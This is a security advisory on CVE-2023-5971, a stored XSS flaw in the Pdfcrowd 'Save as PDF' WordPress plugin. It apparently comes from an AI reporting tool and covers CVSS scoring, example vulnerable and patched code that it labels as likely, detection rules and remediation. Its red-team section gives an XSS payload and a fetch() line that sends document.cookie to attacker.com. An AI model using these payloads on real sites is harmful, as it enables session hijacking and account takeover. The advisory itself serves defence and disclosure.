CVE-2023-5971

Executive Summary

CVE-2023-5971 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Save as PDF Plugin by Pdfcrowd for WordPress, affecting versions prior to 3.2.0. This flaw allows high-privilege users, such as administrators, to inject malicious scripts into plugin settings. The injected scripts are stored and executed when the settings page is viewed, even in multisite configurations where the unfiltered_html capability is disallowed. The vulnerability has a CVSS v3.1 base score of 4.8 (Medium), with a low attack complexity but requiring high privileges and user interaction. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating a low probability of active exploitation in the wild. The patch is available in version 3.2.0, which sanitizes and escapes the affected settings.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should ensure they are using the latest version from a trusted source. No supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – An attacker must have administrator-level access.
• User Interaction (UI): Required (R) – A user must view the malicious settings page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires high privileges, but the stored XSS can affect other administrators and potentially lead to session hijacking or further compromise.

Deep Dive & Mechanics

The vulnerability resides in the settings page of the Save as PDF Plugin by Pdfcrowd. The plugin fails to properly sanitize and escape user-supplied input in certain settings fields before storing them in the database. When an administrator with high privileges modifies these settings, the malicious input is saved. Subsequently, when any user (including other administrators) views the settings page, the stored payload is executed in the context of the victim's browser.

In a WordPress multisite environment, the unfiltered_html capability is typically disallowed for non-super administrators. However, this vulnerability bypasses that restriction because the plugin does not apply its own sanitization, allowing even lower-privileged administrators (in a multisite context) to inject arbitrary HTML and JavaScript.

The attack flow:

1. An attacker with administrative access navigates to the plugin settings page.
2. The attacker injects a malicious script into an unsanitized input field (e.g., custom CSS or header/footer content).
3. The plugin saves the input without proper sanitization.
4. When another administrator (or the same attacker) views the settings page, the script executes.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (version < 3.2.0): The plugin likely uses update_option() or similar functions to save settings without sanitization. For example:

// Vulnerable: No sanitization
update_option('pdfcrowd_custom_css', $_POST['pdfcrowd_custom_css']);

When outputting the value, it uses echo without escaping:

// Vulnerable: No escaping
echo get_option('pdfcrowd_custom_css');

Patched Code (version 3.2.0): The patched version applies proper sanitization and escaping. For example:

// Patched: Sanitize input
update_option('pdfcrowd_custom_css', sanitize_text_field($_POST['pdfcrowd_custom_css']));

And when outputting:

// Patched: Escape output
echo esc_html(get_option('pdfcrowd_custom_css'));

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress installation with the Save as PDF Plugin by Pdfcrowd version < 3.2.0.
• Administrative credentials (e.g., admin user).

Steps:

1. Log in as an administrator.
2. Navigate to the plugin settings page (e.g., /wp-admin/options-general.php?page=pdfcrowd-settings).
3. In a vulnerable input field (e.g., "Custom CSS"), inject a payload:

   <script>alert('XSS');</script>
   

4. Save the settings.
5. As another administrator (or the same user), view the settings page. The script executes.

Advanced Payload Example:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual changes to WordPress options table, specifically pdfcrowd_* options.
• Look for HTTP requests to /wp-admin/options-general.php?page=pdfcrowd-settings with suspicious POST parameters.
• Use WAF rules to block common XSS payloads in plugin settings.

Prevention:

• Ensure the plugin is updated to version 3.2.0 or later.
• Restrict administrative access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available publicly)
• Network Indicators:
  • POST requests to /wp-admin/options-general.php?page=pdfcrowd-settings containing <script> tags or event handlers.
  • Outbound connections to attacker-controlled domains from the WordPress admin panel.
• Log Entries:
  • WordPress audit logs showing changes to pdfcrowd_custom_css or similar options.
  • PHP error logs indicating failed sanitization attempts.

Detection Engineering

YARA Rule

rule CVE_2023_5971_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Pdfcrowd plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-5971"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $option_name = "pdfcrowd_"
    condition:
        $option_name and ($payload1 or $payload2)
}

Sigma Rule

title: Stored XSS in Pdfcrowd Save as PDF Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts in Pdfcrowd plugin settings
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=pdfcrowd-settings'
        cs-uri-query|contains: 'pdfcrowd_'
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in custom CSS (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-5971 Stored XSS in Pdfcrowd Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"page=pdfcrowd-settings"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 3.2.0 or later from the WordPress Plugin Directory.
2. If immediate update is not possible, disable the plugin temporarily.
3. Review and sanitize any existing plugin settings for malicious content.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce the principle of least privilege for WordPress admin users.
• Regularly audit plugin settings and user permissions.
• Use security plugins that monitor for file changes and suspicious activity.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.